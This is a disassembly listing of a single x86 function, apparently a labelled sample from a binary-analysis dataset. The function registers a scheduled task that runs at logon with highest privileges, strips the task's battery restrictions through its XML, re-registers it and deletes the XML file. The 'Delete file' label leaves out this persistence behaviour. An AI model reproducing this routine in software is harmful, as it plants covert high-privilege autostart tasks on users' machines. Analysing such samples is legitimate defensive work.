Function at 0x402a60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x6c]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov edx, str._r_rtCorePathData_f
lea eax, [ebp - 0x1c]
call fcn.0040f610
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x54], 0
mov eax, 1
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x28]
call fcn.0040e9f0
call fcn.00410590
push eax
test eax, eax
jne 0x402c83
lea eax, [ebp - 0x1c]
call fcn.00402140
lea eax, [ebp - 8]
call fcn.00402880
push 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov eax, 5
call fcn.0040fc30
add eax, 5
lea ecx, [ebp - 0x54]
mov edx, 0x44a2c4
call fcn.00417890
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
mov eax, str..xml
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0x50]
lea eax, [ebp - 0xc]
mov ecx, 2
call fcn.0040aac0
push 0
mov eax, str.schtasks.exe__CREATE__RL_HIGHEST__SC_ONLOGON__TR__
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x64], eax
mov eax, str.___TN
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x5c], eax
mov eax, 0x44a3cc
mov dword [ebp - 0x58], eax
lea edx, [ebp - 0x68]
lea eax, [ebp - 4]
mov ecx, 4
call fcn.0040aac0
push 1
mov ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x402b50
mov ecx, 0x4563a0
mov edx, dword [ebp - 4]
test edx, edx
jne 0x402b5c
mov edx, 0x4563a0
mov eax, 0
call fcn.004022e0
push 0
mov eax, str.cmd.exe__c_schtasks.exe__Query__XML__TN
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x64], eax
mov eax, 0x44a414
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x5c], eax
lea edx, [ebp - 0x68]
lea eax, [ebp - 4]
mov ecx, 3
call fcn.0040aac0
push 1
mov ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x402ba2
mov ecx, 0x4563a0
mov edx, dword [ebp - 4]
test edx, edx
jne 0x402bae
mov edx, 0x4563a0
mov eax, 0
call fcn.004022e0
lea edx, [ebp - 0x6c]
mov eax, dword [ebp - 0xc]
call fcn.004160b0
mov edx, dword [ebp - 0x6c]
lea eax, [ebp - 0x10]
call fcn.0040a750
mov ecx, str.false
mov edx, str.DisallowStartIfOnBatteries
lea eax, [ebp - 0x10]
call fcn.00402900
mov ecx, str.false
mov edx, str.StopIfGoingOnBatteries
lea eax, [ebp - 0x10]
call fcn.00402900
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004161a0
push 0
mov eax, str.schtasks.exe_CREATE__XML
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x64], eax
mov eax, str.__TN
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x5c], eax
mov eax, 0x44a3cc
mov dword [ebp - 0x58], eax
lea edx, [ebp - 0x68]
lea eax, [ebp - 4]
mov ecx, 4
call fcn.0040aac0
push 1
mov ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x402c41
mov ecx, 0x4563a0
mov edx, dword [ebp - 4]
test edx, edx
jne 0x402c4d
mov edx, 0x4563a0
mov eax, 0
call fcn.004022e0
lea eax, [ebp - 0x6c]
call fcn.00405a50
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x6c]
call fcn.0040a750
mov eax, dword [ebp - 0x6c]
test eax, eax
jne 0x402c76
mov eax, 0x4563a0
push eax
call sub.kernel32.dll_DeleteFileA
or eax, eax
setne dl
mov al, dl
call fcn.0040ec70
lea eax, [ebp - 0x6c]
call fcn.00405a50
lea eax, [ebp - 0x54]
call fcn.00405a50
lea eax, [ebp - 4]
call fcn.00405a50
lea eax, [ebp - 8]
call fcn.00405a50
lea eax, [ebp - 0xc]
call fcn.00405a50
lea eax, [ebp - 0x10]
call fcn.00405a50
mov edx, str._r_rtCorePathData_f
lea eax, [ebp - 0x1c]
call fcn.0040f670
pop eax
test eax, eax
je 0x402ccf
call fcn.0040eda0
leave
ret